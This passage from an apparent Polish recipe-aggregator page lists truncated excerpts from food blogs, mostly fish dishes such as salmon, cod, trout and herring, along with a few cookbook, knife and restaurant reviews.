przetrwacie do końca meczu. I nie zabraknie Wam siły do głośnego, triumfalnego okrzyku gooooool!!  Składniki: ciasto francuskie gotowe (lub z tego przepisu) 250 g łososia ulubione przyprawy do ryby 2 cebule 250 g świeżego szpinaku 1 ząbek czosnku 10 pomidorków koktajlowych 2 jajka 2-3 łyżki kwaśnej śmietany(...)łyżki startego żółtego sera sól pieprz oliwa Wykonanie: Na patelni rozgrzać oliwę. Cebulę i czosnek drobno pokroić i podsmażyć. Dodać szpinak smażyć dalej ok. 10 minut. Doprawić solą.  Rybę doprawić ulubionymi przyprawami i podsmażyć na drugiej patelni. Ciasto wyłożyć na natłuszczoną  formę, nakłuć gęsto widelcem i podpiec 10 minut w temperaturze 200° C (termoobieg). Na podpieczony spód wyłożyć

zadanie-gotowanie
Dorsz z salsą z botwiny i białymi szparagami 190

botwiny wraz z białymi szparagami. Delikatne mięso dorsza, wcześniej otoczone w zalewie z suszonych pomidorów i skórce z cytryny ugotowaliśmy na parze. Ryba wyszła soczysta a listki mięsa delikatnie osuwały się pod naciskiem widelca. Do ryby przygotowaliśmy salsę, gdzie bazą były łodygi i listki botwiny. Do salsy dodaliśmy pokruszone pistacje, szalotkę, drobno pokrojone suszone pomidory, miód, pieprz

Ciasna Kuchnia
Spaghetti z dorszem i lubczykiem 155

porcje: 250 g spaghetti 2 porcje  zgrillowanej ryby   1 łyżka pasty lubczykowej   pomidorki koktajlowe pieprz Wykonanie: ugotować makaron wg przepisu na opakowaniu użyć ryby przygotowanej wcześniej lub usmazyć 2 kawałki dorsza. Dorsza wcześniej skropic sokiem z cytryny i posolić spaghetti odcedzić, pozostawiając 1/4 szklanki wody z gotowania makaron wymieszać z pastą lubczykową i pozostawina wodą

Gotuj zdrowo!Guten Appetit!
ZUPA RYBNA Z CURRY I BANANEM 179

dorsza możemy przyrządzać dosłownie wszystko.Do niedawna ta ryba miała niezasłużenie złą opinię.Tymczasem ich mięso jest delikatne , chude ,dobre na zupę, kotlety ,do smażenia i zapiekania.Jednak przyrządzamy je krótko,bo szybko się rozpadają.Zupa jest delikatna i ładnie pachnie.Myślę ,że to z powodu dodanego banana.Danie dla smakoszy ryb i dań orientalnych.Danie ma tylko 230 kcal. 30 dag.dorsza(...)pieprz sok z cytryny do smaku czerwona cebula i koperek do dekoracji ***********************************************  Cebulę zeszklić na maśle .Dodać mąkę i curry wymieszać,wlać bulion.Wrzucić do bulionu pokrojoną rybę ,gotować 10 minut.Zestawić z ognia,przyprawić,rozlać do bulionówek i do każdej włożyć kilka plasterków banana.Cebulę drobno posiekać,wsypac trochę do zupy,ozdobic koperkiem

Kocurkowe rozmyślania w kuchni Anielki
DORSZ ZAPIEKANY Z TRAWĄ CYTRYNOWĄ NA SAŁATCE Z BOTWINY 219

DORSZ ZAPIEKANY z pastą z trawy cytrynowej, natki pietruszki i... Artykuł DORSZ ZAPIEKANY Z TRAWĄ CYTRYNOWĄ NA SAŁATCE Z BOTWINY pochodzi z serwisu CookMagazine .

COOKMAGAZINE
Szaszłyki z łososiem 179

fileta z łososia 1/2 średniej cukinii 3 krążki ananasa z zalewy 1/2 czerwonej papryki sól, pieprz przyprawa do ryb oliwa z oliwek sos rybny Sposób przygotowania Rybę … Czytaj dalej Szaszłyki z łososiem

czarrna od kuchni
Rybka w panierce 131

blogu, ale tym razem filety rybne moczyłam w mleku... filety z ryby mleko sok z cytryny sól,pieprz  mąka bułka tarta jajka sól, wegeta Filety ryby pokroić na kawałki i włożyć do mleka, moczyć około 20 minut. Wyjąć z mleka, skropić sokiem z cytryny, posypać przyprawami.Następnie panierować mące, w jajku [ roztrzepanym z przyprawami]i bułce tartej

Moje domowe kucharzenie
Morszczuk z warzywami i kaszą pęczak 181

ciąży, tym razem trudniejszej od pierwszej (podobno każda jest inna) i trzy tygodnie temu zostałam mamą tym razem małej Mai :))) To tyle jeśli chodzi o wytłumaczenie się ;))) Teraz ryba - została razem z warzywami ugotowana na parze, do tego kasza pęczak z dodatkiem bazylii i pomidorowej passaty, doprawiona wszystko solą i pieprzem. Tak trochę dietetycznie i zdrowo ;)) Miłego dnia wszystkim życzę(...)Składniki: filety z morszczuka (u mnie 3 sztuki) 2 marchewki mała cukinia pietruszka żółta papryka kukurydza z puszki kasza pęczak passata (ilość wedle uznania) bazylia sól pieprz Rybę oprószam solą i pieprzem. Warzywa kroję, wszystko wkładam do garnka do gotowania na parze. Gotuję około 20-25 minut. Kaszę gotuję według przepisu na opakowaniu. Passatę przekładam do rondelka, dodaję świeżą bazylię

kruche babeczki
Ciepła sałatka z młodych ziemniaków, grillowanych szparagów i wędzonej makreli 175

żółtkiem spajające całość. Sałatka na obiad lub lunch, albo nawet na kolację – pełne danie, które na pewno nie pozostawi Was głodnymi. RYBA Makrelę obieramy ze skórki, dzielimy na pół, pozbawiamy kręgosłupa a z nim wszystkich ości. Mięso ryby dzielimy na małe fragmenty, ości wybieramy. Odstawiamy. SZPARAGI Szparagi myjemy, pozbawiamy zdrewniałych końców, kroimy w 3-4cm kawałki. Wrzucamy

Karo in the Kitchen
Recenzja książki "Pysznie dla rodziny i przyjaciół" 175

okładkach innych książek kulinarnych. Ta okładka wręcz kojarzy mi się z przepisami naszych babć, po które z chęcią sięgamy:) W książce znajdziemy kilka przydatnych uwag na temat przygotowania mięsa, ryb i warzyw. Wszystko oparte jest fantastycznymi, zabawnymi rysunkami, wykonanymi przez Joannę Wieruszewską. Książka ma 192 strony, 84 przepisy + 9 przepisów podstawowych (np. na naleśniki czy kruche ciasto). Wszystko podzielone(...)każdy zestaw składają się 3 przepisy w kategoriach: Przystawka Danie główne Deser  Mamy 14 zestawów na dania główne na bazie mięsa, 9 zestawów na dania główne z udziałem ryb oraz 4 zestawy wegetariańskie. Przy każdym zestawie znajdziemy kilka słów od autorki. Przepisy są bardzo jasno i dokładnie opisane, zaś zdjęcia tak apetycznie przedstawiają potrawy, że od razu chciałoby

Z miłości do słodkości
FISHCAKE CZYLI KLOPSY RYBNO- ZIEMNIACZANE 220

czyli rybne klopsy pierwszy raz jadłam zamawiając je w Wielkiej Brytanii. Tak mi posmakowały, że postanowiłam sama je odtworzyć i powiem Wam, że wyszły rewelacyjne. Córka, która nie je ryb, fishcake zjada ze smakiem :) Składniki: * 500 g filetów rybnych (u mnie był to dorsz) * 3 większe ziemniaki * 1 jajko * 4 łyżki bułki tartej+ do panierki(...)posiekanego koperku * sól * olej do smażenia Wykonanie: Filety rybne przepuścić przez maszynkę do mielenia mięsa. Ziemniaki ugotować, wystudzone przecisnąć przez praskę. Do miski dać rybę, ziemniaki, startą na tarce o drobnych oczkach cebulkę, koperek, sól, jajko, bułkę tartą i paprykę. Dokładnie wymieszać. Z masy formować klopsy, panierować w bułce tartej. Na patelni rozgrzać olej, smażyć

Zrób to smacznie
Przysmaki chińskiej kuchni w pigułce 177

jest mięso z kurczaka, choć i warzywa często pojawiają się w tego typu daniach. Kuchnia chińska chętnie sięga też po te przepisy na zupy, w których główną rolę odgrywają ryby oraz owoce morza. Restauracje chińskie mogą się jednocześnie pochwalić ciekawym asortymentem dań, w których główną rolę odgrywa mięso. Największą popularnością cieszy się wieprzowina, jednak i wołowina, i baranina mogą(...)podawane w aromatycznych sosach. Wybór takich dań jest ogromny. Nie zmienia to jednak faktu, że najpopularniejszą potrawą związaną z chińską kuchnią jest kaczka po pekińsku. Warte spróbowania są też ryby (zarówno te smażone, jak i gotowane na parze), które podaje się wraz z warzywami. Kuchnia chińska chętnie sięga też po owoce morza, które są ciekawym składnikiem wielu orientalnych dań

Codogara
Kuchnia indyjska – wszystko, co musisz o niej wiedzieć 135

spożywania wołowiny, gdyż krowa uważana jest w Indiach za zwierzę święte. Najbardziej ortodoksyjni wyznawcy hinduizmu są z kolei przeciwnikami spożywania jakiegokolwiek mięsa. Ich dieta wyklucza zatem i drób, i ryby, a podstawą ich menu stają się produkty pochodzenia roślinnego. Warto jednak pamiętać, że na kulturę Indii spory wpływ miała też religia muzułmańska. Efektem tego jest wykluczenie z diety wieprzowiny(...)jadania łagodnych potraw. Większość indyjskich restauracji mieszczących się w Polsce preferują podawanie dań właśnie pochodzących z tamtego regionu. Dania kuchni bengalskiego oparte są na ryżu i soczewicy oraz rybach. Podstawą żywienia są także smażone chlebki podawane do każdej potrawy. Region ten słynie także z pysznych i słodkich przekąsek przyrządzanych z białego sera. Religijny zakaz jedzenia wołowiny sprawił

Codogara
Pstrąg pieczony w piekarniku, z pieczarkami. 183

łyżeczka soku garść posiekanej natki pietruszki sól, pieprz Przygotowanie pstrąga: Pstrąga myjemy, osuszamy i oprószamy solą, oraz pieprzem. Do środka wkładamy 1 ząbek czosnku, przeciśnięty przez praskę, skrapiamy wnętrze ryby łyżeczką soku z cytryny, wkładamy do lodówki na minimum godzinę. Pieczarki kroimy w plasterki, podsmażamy lekko przez 5 minut, by puściły sok. Przestudzone mieszamy z majonezem, skórką cytrynową, pietruszką(...)faszerujemy pstrąga, zawijamy go ciasno w folię aluminiową i wkładamy do nagrzanego do 180st. piekarnika na 30 minut ( na 10 minut przed końcem, odwijamy folię i włączamy termoobieg, by ryba się przyrumieniła i była chrupiąca z zewnątrz). Artykuł Pstrąg pieczony w piekarniku, z pieczarkami. pochodzi z serwisu NiePieprz

NiePieprz.pl
Sałatka z młodymi ziemniaczkami i pstrągiem 118

Wiosenne młode warzywa w połączeniu z wędzoną rybą to smaczna i zdrowa propozycja na lekki obiad czy kolację. Składniki: (na 2 porcje) 6-8 małych młodych ziemniaczków 1 młoda cukinia 1 rzodkiew 300g płata wędzonego pstrąga łososiowego oliwa z oliwek sok z cytryny sól, czarny pieprz siemię lniane Sposób przygotowania: Ziemniaczki szorujemy i gotujemy w mundurkach do miękkości. Kroimy(...)plastry. Rzodkiew i cukinię myjemy i kroimy w plastry takiej samej grubości jak ziemniaki. Warzywa układamy na przemian tworząc wianek wokół talerza. Wadzoną rybę pozbawiamy skóry i ewentualnie widocznych ości. Kroimy w kostkę o wymiarach 1cm x 1cm. Rybę układamy wewnątrz warzywnego okręgu. Całość skrapiamy oliwą z oliwek i sokiem z cytryny oraz doprawiamy solą i świeżo mielonym czarnym pieprzem

Pyry na Gaz
konserwa ze śledzia w sosie kaukaskim 153

chociaż ryba ta ustępuje urodą i rozmiarami innym, " szlachetniejszym" gatunkom to jednak uważam, iż w smaku jest wprost niezrównana. Dlatego dziś przedstawię kolejną propozycję z tą rybą w roli głównej. Mając nadzieje że danie pełne cennych składników, dostarczy wszystkim smakoszom również niezapomnianych kulinarnych wrażeń.  składniki(...)słoika). Zakręcamy słoiki i je pasteryzujemy ( w garnku lub piekarniku) przez 30-35 minut w temperaturze  80-90 stopni. Następnie słoiki odstawiamy na dzień i gotowe. Tak przygotowane ryby możemy przechowywać przez kilka miesięcy

Miód i pieprz
Pieczona dorada z pomidorkami i czosnkiem. 106

Składniki; 2 patroszone dorady, 4 ząbki czosnku garść pomidorków cherry, sól, pieprz, 2-3 łyzki octu jabłkowego, 3 łyżki oliwy z oliwek, ok pół szkl. wody, mleko do namoczenia ryb, zielona pietruszka    Przygotowanie; Doradę umyć a następnie zalać mlekiem na jakieś pół godziny. Po tym czasie odcedzić i osuszyć. Czosnek obrać i pokroić(...)plasterki. Natkę pietruszki opłukać. Do naczynia żaroodpornego wlać wodę, oliwe z oliwek i ocet jabłkowy. Dorade nadziać czosnkiem i zieloną pietruszką. Po wierzchu delikatnie oprószyć solą i pieprzem. Ryby przełożyć do naczynia. Obłożyć pomidorkami pokrojonymi na pół , zieloną pietruszką i czosnkiem. Wstawić do piekarnika nagrzanego do 220 st.C i piec około 25- 30 min. Smacznego

Radość kipiąca uśmiechem.
Pstrąg łososiowy z ryżem i fasolką szparagową 194

ości, umyć, osuszyć i pokroić na mniejsze kawałki. Z sosu sojowego, cytryny, miodu, mleczka kokosowego i imbiru rozmieszać sos, który wlać do naczynia żaroodpornego i położyć na nim rybę skórą do góry, odstawić na 20 minut. Po tym czasie wstawić naczynie do piekarnika nagrzanego do 180 stopni C na 15 - 20 minut. Ryż ugotować zgodnie z przepisem na opakowaniu(...)miękka lecz jeszcze sprężysta (5 - 6 minut). Po ugotowaniu pokroić na mniejsze kawałeczki i wymieszać z ugotowanym ryżem. Fasolki z puszki nie gotować. Wlać do rondelka sos spod pieczonej ryby, doprawić solą i pieprzem do smaku, zagotować i ewentualnie jeśli lubimy gęste sosy, zagęścić go łyżeczką mąki rozmieszanej w niewielkiej ilości zimnej wody (po dodaniu mąki ponownie zagotować

Kuchcik gotuje
Piegowata kostka 140

Wczoraj byliśmy nad jeziorkiem Radacz na rybach, Niestety skutek był marny bo jakoś ryby nie brały. Ale człowiek się dotlenił, posiedział nad wodą, zrobiliśmy grilla. A na osłodę i poprawienie humoru po nie udanym wędkowaniu mieliśmy pyszne ciacho. Nie wiem czy widzicie ale w biszkopcie są maleńkie kropeczki, pewnie zastanawiacie się co to takiego. A jest to chia

Ewa w kuchni
Ryba w chrupiącym cieście piwnym 251

około 1/2 łyżeczki)   Składniki na ciasto dokładnie wymieszać, aby konsystencja była dosyć gęsta. Rybę oprószyć solą i pieprzem cytrynowym a następnie obtoczyć w mące. Filety zanurzać w cieście i smażyć w głębokim oleju na złoty kolor (4-5 minut w zależności od wielkości ryby). (Olej powinien być rozgrzany

Di gotuje
filet ze szczupaka pieczony w pikantnym sosie 155

pieczony szczupak  Od dawna wiadomo, iż ryby powinny gościć na naszych stołach jak najczęściej, dlatego dziś proponuję danie ze szczupaka, zapieczonego w sosie z pikaną papryczką chilli.  składniki  na danie dla czterech osób 800 g filetów ze szczupaka ( bez skóry) 1 cebula 1 papryka słodka 1 mała papryczka chilli(...)cytryny  i dusimy dalsze 2-4 minuty. Gorący sos układamy na dnie żaroodpornego naczynia, na wierzch kładziemy kawałki szczupaka, którego skrapiamy pozostałą oliwą i całość wkładamy do piekarnika Rybę pieczemy przez 30-35 minut w temperaturze  180 stopni. Szczupaka podajemy z ryżem lub innymi ulubionymi dodatkami

Miód i pieprz
SAŁATKA Z ŁOSOSIEM 195

niesprzyjających warunków na dworze, w mojej kuchni zawsze świeci słońce i jest dobry klimat na barwną sałatkę. A to, że w jej składzie jest ryba, dodatkowo podnosi jej walory smakowe (bo przecież ryby bardzo lubimy – prawda ?). Sałatka z łososiem ma jeszcze jeden dodatkowy atut, a mianowicie nie jest pracochłonna. Czas wykonania to jakieś 10 – 15 min. Szpinak sałatkowy, opłukujemy

Markowy smak
Surówka z kopru włoskiego (fenkułu), kalarepki i zielonego jabłka z koperkiem 160

niego wiele dań, między innymi tę „Surówka z kopru włoskiego (fenkułu), kalarepki i zielonego jabłka z koperkiem”. Polecam jako dodatek do dań obiadowych z mięsami, z rybami. Świetnie się również komponuje z wytrawnymi tartami. Składniki surówki z kopru włoskiego: (2-3 porcje) 1 bulwa kopru włoskiego (fenkułu) 1 kalarepka 1 duże zielone jabłko sok z połowy cytryny(...)doprawić odrobiną soku z cytryny. Surówkę z kopru włoskiego (fenkułu) , kalarepki i zielonego jabłka z koperkiem podawać jako dodatek do dań obiadowych (do tart, dań z mięsem lub z rybami) . The post Surówka z kopru włoskiego (fenkułu), kalarepki i zielonego jabłka z koperkiem appeared first on Moja Delicja - Przepisy kulinarne

Moja Delicja
Makaron z cukinią i szpinakiem podany z łososiem 137

Makaron jest dobry zawsze. A ten z najlepszymi warzywami i kawałkiem pysznej ryby to już musi smakować wyśmienicie. Spróbujcie! Składniki : * makaron spaghetti(...)mała cukinia * duża garść świeżego szpinaku lub szklanka mrożonego * oliwa z oliwek * 3-4 łyżki śmietany kremówki * ząbek czosnku * sok z połowy cytryny * świeży łosoś - filet * sól, pieprz Przygotowanie : Rybę przyprawić, skropić sokiem z cytryny i usmażyć bądź upiec. Makaron ugotować al dente. Czosnek posiekać, przesmażyć na oliwie, dodać cukinie i szpinak. Przyprawić i poddusić. Dodać śmietanę i wymieszać całość

Magiczne Życie Marty
Łosoś pieczony w miodzie i musztardzie z ryżem po iracku 152

tych wszystkich składników daje niesamowity, lekko orientalny efekt, który zachwyca. W oryginale łosoś pieczony w miodzie i musztardzie z ryżem po iracku podawany jest w warstwach – ryż, rodzynki, ryba, ryż, etc. – stąd jego nazwa „mtabbag simach”, co oznacza rybę w warstwach. Składniki (2 porcje): 250g ryżu długoziarnistego Basmati Uncle Ben’s ok. 350 g fileta(...)pozostałą częścią oleju, miodu i musztardy (łosoś powinien być dwukrotnie posmarowany olejem, miodem i musztardą). Włożyć do rozgrzanego piekarnika na dolny ruszt i piec przez około 10 minut aż ryba lekko się zrumieni, a mięso będzie się łatwo rozdzielać widelcem. Należy uważać, aby nie przesuszyć łososia. Łososia pieczonego w miodzie i musztardzie z ryżem po iracku podajemy na gorąco. Można

Pociąg Do Kuchni
Dwa noże od Fiskars - typ azjatycki oraz do szynki/łososia 145

zawsze, a od kiedy mam okazję testować inne produkty to pokochałam tę markę jeszcze bardziej.    Nóż typ azjatycki Nóż szefa kuchni, świetnie radzi sobie z porcjowaniem mięsa, ryb, siekania i krojenia warzyw. Wykonany lepiej niż linia Functional Form, stąd + przy nazwie linii jest jak najbardziej zasadny. Rękojeść jest cięższa, zdecydowanie lepiej leży w dłoni oraz jest antypoślizgowa(...)Nóż do szynki/łososia Na taki nóż czekałam! Teraz nie wyobrażam sobie krojenia boczku, szynki czy łososia innym nożem. Ostrze bez problemu obejmuje wielki kawał mięsa (czy ryby) i pozwala na swobodne krojenie nawet cieniutkich plasterków. I co ważne – wreszcie mam całe plasterki, a nie poszarpane pół plasterki, gdy kroiłam zbyt krótkim nożem. Nóż poradził sobie wyśmienicie z włoskim

Gotowanie i blogowanie
Niedźwiedzie pesto 150

reumatyzm - posiada właściwości przeciwzapalne - na lśniące włosy i mocne paznokcie To oczywiście nie wszystkie zalety czosnku niedźwiedziego, warto docenić jego walory kulinarne. Wprost niezastąpiony do mięs (również dziczyzny), ryb, serów, sałatek, zup, sosów, nalewek… i nie tylko. Niedźwiedzie pesto zadomowiło się w mojej kuchni na stałe. Składniki: - świeże liście czosnku niedźwiedziego - ziarna słonecznika - różowa sól himalajska - parmezan (lub Grana(...)ciągu kilku dni, dlatego najlepiej przygotować w mniejszych słoiczkach. Niedźwiedzie pesto nadaje się… chyba prościej napisać do czego się nie nadaje, ale ja używam – do makaronów, mięs, ryb, serów, wędlin, jajek, kasz, ryżu… i nie tylko. Wybornie smakuje nawet z pajdą chleba. Ponieważ właśnie teraz jest najlesza pora zbioru czosnku niedźwiedziego warto ten okres wykorzystać. Czosnek niedźwiedzi można

mojewypiekiinietylko
domowe moskaliki 221

taki prosto z rybackiego kutra jest jedną z najsmaczniejszych ryb i to niezależnie od sposobu w jaki go się przyrządzi Oczywiście sposobów na sporządzenie  potraw z tej ryby jest wiele,  ale ja dziś przygotuje je w wyrazistej marynacie. Po prostu moskaliki. składniki 1,5-2 kg świeżych śledzi sól zalewa  2,5 szklanki wody

Miód i pieprz
Restaurant Week w Vivian - lekko, pysznie i z klasą 117

bułeczka, którą można było zamoczyć w rozlanym na talerzu żółtku. Dania główne Skuszony egzotyczną nazwą ryby wybrałem molwę przyrządzoną metodą sous-vide . Lekka, przyjemna, z cudownie odchodzącymi blaszkami ryba przypominała mi poznanego niedawno dorsza skrei. Jej łagodny smak nie był w tym daniu niczym zakłócany. Purée ze szpinaku było równie łagodne, jak sama ryba, a dodatkowy element ekscytacji stanowiła

Food Square
Pstrąg pieczony z masłem i pietruszką. 127

czosnek przepuść przez praskę bądź drobno posiekaj i połącz je z miękkim masłem by powstało masło czosnkowo-pietruszkowe,które wsadzamy w rybę B) dodaj po prostu masło,pietruszkę i czosnek(koniecznie pamiętaj o zmiażdżeniu czosnku) pomiędzy płaty ryby 3. Popieprz, posól. 4. Zawiń w folie 5. Piecz w 220 stopniach Celsjusza 10-15 minut. Jeśli nie masz natki pietruszki

Fiolka w kuchni
Łosoś na parze z warzywami 187

świeżo mielonym pieprzem. Obsypać ziołami z dwóch stron.   Położyć ziemniaki i marchewki na spód parowaru, natomiast łososia na półkę wyżej. Naokoło łososia rozłożyć pomidorki. Na każdym kawałku ryby rozłożyć malutkie kawałki masełka. Włączyć parowar i parować 35 minut.   Thermimix – przygotować warzywa jak wyżej – do naczynia miksującego wlać wodę, do połowy wysokości – nałożyć naczynie verona

Kuchnia Pokoleń
Paprykarz 133

przybytku. Śpiochy przybywający po południu, mogą jedynie zobaczyć jak ktoś przed nim kupuje ostatnią porcję. Po kilkukrotnych fiaskach zakupowych (skończył się wcześniej niż zawsze) i odkryciu zalegających w zamrażalce ryb, podjęłam się wyzwania odtworzenia tego smaku. Przyznam, że nie planowałam tego, ale jest, to dokładnie to, co powinno być. Tak powinien smakować paprykarz! Spróbujcie sami. nie jest to takie(...)marchewki jedna duża cebula łyżeczka wędzonej papryki jedna wędzona makrela sól, pieprz kolorowy, cukier 300 g ryżu jaśminowego 2-3 papryczki chilli lub czerwona papryka słodka (opcjonalnie). Przygotowanie: Rybę osuszyć papierowymi ręcznikami. Przyprawić solą i pieprzem, a następnie usmażyć na małej ilości tłuszczu. Cebulę pokroić w kostkę i również podsmażyć na patelni. Marchewkę polecam gotować razem z ryżem. Oczywiście obraną

Karczma Honorietty
Grillowany łosoś po tajsku 172

oliwy. Łososia kładziemy najpierw mięsem do dołu i grillujemy przez 7-8 minut czasami lekko poruszając. Przekładamy na drugą stroną i grillujemy przez kolejne 7-8 minut. Z gotowej ryby zdejmujemy skórę. W międzyczasie przygotowujemy sałatkę. Cebulę obieramy i kroimy w cienkie (2-3mm) półtalarki, które rozkładamy a pojedyncze piórka i skrapiamy resztą soku z limonki, aby nabrały

Kulinarna Pokusa
Kotleciki rybne 121

ryby (miruna) 2 kromki czerstwego chleba 1 cebula sól pieprz  majeranek szczypta hyzopu 1 jajko  bułka tarta do panierowania Rybę mielimy w maszynce do mięsa, dodajemy namoczony i odciśnięty chleb, posiekaną cebulę , jajko i przyprawy , wkładamy do blendera i miksujemy kilka minut. Formujemy z masy niewielkie kotlety, panierujemy w tartej bułce i smażymy na złoty kolor

Gotowanie jest łatwe
Wyniki Konkursu - wygraj książkę Karola Okrasy Ryby Są Super z autografem 194

Trochę spóźnione, ale w końcu są wyniki konkursu, gdzie do wygrania była książka Karola Okrasy Ryby Są Super z autografem. Pisałem Wam kilka razy na FB, że mam mało zgłoszeń, ale jakoś chętnych dużo nie przybyło. Czasami zasypujecie mnie 150 zgłoszeniami, a czasami nie ma nawet 40 tak jak tym razem :) Wybór mimo małej ilości zgłoszeń nie był łatwy

Parowar Faceta
Łosoś Teriyaki 187

Pieczony filet z łososia marynowany w japońskim sosie teriyaki, podawany z ryżem lub makaronem. Dzięki wcześniejszemu marynowaniu ryba nabiera intensywnego aromatu i wspaniałego smaku.  Składniki na 2 porcje: 2 kawałki łososia ze skórą na marynatę: 1/2 szkl. sosu sojowego 2 łyżki mirin 2 łyżki wody 2 łyżki miodu 2 łyżki cukru brązowego ząbek czosnku 1 cm imbiru dodatkowo: sezam(...)się zredukuje, wystudzić. W tak przygotowanym sosie zamarynować kawałki łososia przez co najmniej godzinę. Piekarnik nastawić na 200 stopni C. Żaroodporne naczynie wysmarować oliwą. Umieścić w nim rybę i wstawić do nagrzanego piekarnika na około 20 minut. W międzyczasie kilkakrotnie polewać łososia marynatą. Pare minut przed końcem pieczenia posypać rybę sezamem. Przed podaniem usunąć skórę

wyzwania kuchenne
Kedgeree z wędzonym halibutem 79

wchodzi ryba, tradycyjnie wędzony łupacz, ryż, gotowane jajka i przyprawy. W mojej wersji bazą jest wędzony halibut (kupiony nad Bałtykiem) a biały ryż zastąpiłam jego zdrowszym, pełnoziarnistym odpowiednikiem. Doprawiony kurkumą zyskuje przyjemny żółty kolor i bogaty aromat. Jak widać na zdjęciach - danie idealnie nadaje się do lunchboxu. Ja przed zjedzeniem podgrzałam tylko ryż, zjadłam go z dodatkiem zimnej ryby. Było pyszne - polecam, zwłaszcza jeśli uda Wam się kupić dobrą, wędzoną rybę

Milion Smaków
Pieczony łosoś z sosem musztardowym na cydrze 217

Pieczony łosoś  z sosem musztardowym na cydrze Szukałam sposobu na prostego łososia, bez używania patelni i tak aby ryba była upieczona i  w środku delikatna.  I oto rezultat. Ryby uwielbiam, więc jak tylko mam dostęp do świeżych i dobrych produktów kuszę się i je przyrządzam. Zapraszam na łososia pieczonego. Proporcje dla dwóch osób. . Składniki: 2 filety

Wino Francja Kuchnia
Gulasz z dorsza po węgiersku 177

Gulasz rybny to świetny pomysł na rybę, a jednocześnie lekki, smaczny i bardzo zdrowy obiad.  Jeśli chcesz się zdrowo odżywiać, obowiazkowo włącz do menu ryby. To nieskomplikowane danie robi się naprawdę szybko i smakuje obłędnie.   Składniki: 400 g filetów z dorsza 1 cebula 2 łyżki koncentratu pomidorowego 50-100 g boczku 3 średnie ziemniaki 1-2 łyżeczki(...)łyżeczki papryki i koncentrat pomidorowy, zagotować z wywarem. Dodać ziemniaki pokrojone w cienkie plasterki i dusić pod przykryciem, aż będa miękkie. Pod sam koniec dołożyć na 2-3 minuty rybę, aż dojdzie

Gotuj zdrowo!Guten Appetit!
Leszcz w sosie jogurtowo cytrynowym 147

cytryny starta skórka  z 1/2 cytryny sól, pieprz Wykonanie: Rybę myjemy, odcinamy głowę, ogon, usuwamy łuski i filetujemy. Kroimy na paski. Solimy, pieprzymy i obtaczamy w mące strzepując z jej nadmiaru. Smażymy na rozgrzanym tłuszczu na złoty kolor, zdejmujemy z ognia i na każdy kawałek ryby kładziemy kawałek masła. Cytrynę umyć i sparzyć, skórkę zetrzeć na tarce

magiczna kuchnia Kasi
Ryba pieczona w papilotach z warzywami i ajvarem 264

tymianek świeża bazylia 2-3 łyżki pasty ajvar sól, pieprz oliwa Ryż ugotować zgodnie z przepisem na opakowaniu. Rybę umyć, osuszyć. Doprawić solą, pieprzem i tymiankiem. Przygotować większy kawałek papieru do pieczenia. Na środku ułożyć ugotowany ryż, na niego położyć kawałek ryby. Spryskać oliwą, posmarować ajvarem. Przykryć pokrojonym pomidorem i cukinią. Doprawić solą i pieprzem. Posypać listkami bazylii

Moja Galeria Smaku
Mini frittaty, czyli jak zamienić resztki z obiadu w posiłek do pracy lub szkoły + PREZENT 151

wypełnić dowolnymi składnikami, zalać rozbełtanym jajkiem i upiec z piekarniku. Jako nadzienie do frittaty możesz wykorzystać to, co zostało Ci z obiadu - warzywa gotowane czy takie z patelni, kawałek ryby czy mięsa, a nawet ryż czy kaszę. Dodatek tych ostatnich może nieco dziwić, ale z drugiej strony dzięki nim jajeczne muffinki przemienią się w pełnowartościowy posiłek. Mi się taka(...)Zajrzyjcie do dziewczyn i zobaczcie, co przygotowały.  Mini frittaty do pracy lub szkoły Składniki / 12 sztuk: ok. 250 g pozostałości z obiadu, np. gotowanych warzyw, gotowanej lub pieczonej ryby, ryżu, kaszy, możemy te składniki uzupełnić świeżymi ziołami, kawałkiem sera, np. fety 6-7 jajek (zależy od ich wielkości) 2 łyżki mleka (u mnie roślinne) lub śmietany sól

Chilli Czosnek i Oliwa
Lasagne z łososiem, szpinakiem i serem 152

dodać szpinak. Dodać przeciśnięty przez praskę czosnek, gałkę, sól i pieprz. Szpinak dusimy przez 15 minut. Teraz przygotujemy farsz łososiowy: Można użyć dzwonków lub kostki z łososia, fileta. Rybę skrapiamy sokiem z cytryny, solimy i pieprzymy. Rybę zawijamy w lekko natłuszczoną folię i pieczemy w temperaturze 200 stopni przez około 30-40 minut. Po upieczeniu rybę rozdrabniamy. Na sam koniec

Smaczne Potrawy
Łosoś w sosie serowym 202

komponuje się z delikatnym smakiem pieczonego, cytrynowego łososia. 2 filety łososia sok z cytryny sól pieprz 3 łyżki masła 3/4 szklanki mleka szklanka startego żółtego sera duży pomidor 1. Rybę układamy w naczyniu żaroodpornym, które wcześniej smarujemy połową ilością podanego masła. Rybę solimy, pieprzymy i skrapiamy sokiem z cytryny. 2. Pozostałe masło roztapiamy w rondlu, wsypujemy mąkę, mieszamy i powoli(...)wlewamy mleko, cały czas mieszając do momentu aż sos zgęstnieje. 3. Rybę posypujemy startym serem, następnie na ser układamy pokrojonego w plasterki pomidora. 4. Naczynie żaroodporne wstawiamy do piekarnika. Pieczemy w temperaturze 200 stopni przez około 30 minut

Szefowa kuchni
Polędwica z dorsza po prowansalsku 168

dobiegły chyba końca. Dorsz upieczony pod kołderką z sosu pomidorowego z pysznymi dodatkami jest wilgotny i delikatny. Ryba przy tym zachowuje swój oryginalny smak, bo sos pomimo tego, że bogaty w wyraziste składniki, nie przytłacza jej smaku. Jedzmy ryby! 3-4 porcje - 2 polędwiczki z dorsza - 1 puszka pomidorów 400g - 1 czerwona papryka - 1 czerwona cebula(...)czarne oliwki (dodałam pół słoiczka 340g) -oliwa z oliwek 2-3 łyżki -2 łyżki mieszanki ziół prowansalskich - 1-2 łyżki octu balsamicznego - sól i pieprz (najlepiej biały) do smaku Rybę myjemy, osuszamy, oprószamy solą i kilkoma szczyptami ziół prowansalskich. Przekładamy do naczynia do zapiekania. Cebulę kroimy w drobną kostkę, a paprykę obieramy ze skórki i kroimy w  małe paski

Simple Dish
soczysty dorsz atlantycki na obiad z pieczonymi serowymi ziemniakami:airfryer 9240/30 144

Składniki RYBA: filet z dorsza 2 porcje/duże, przyprawa do ryb 2 łyżeczki, kucharek 2 szczypty, pieprz czarny mielony 1/2 łyżeczki, olej rzepakowy 4 łyżki, bułka tarta 4 łyżeczki ZIEMNIAKI: ziemniaki 1 kg, przyprawa do ziemniaków 2 łyżki, czosnek granulowany 1 łyżeczka, papryka ostra mielona 1/2 łyżeczki, olej rzepakowy 6 łyżek, ser żółty gouda 15 dag, surówka - w opisie

W Mojej Kuchni Lubię
Ryba po grecku 154

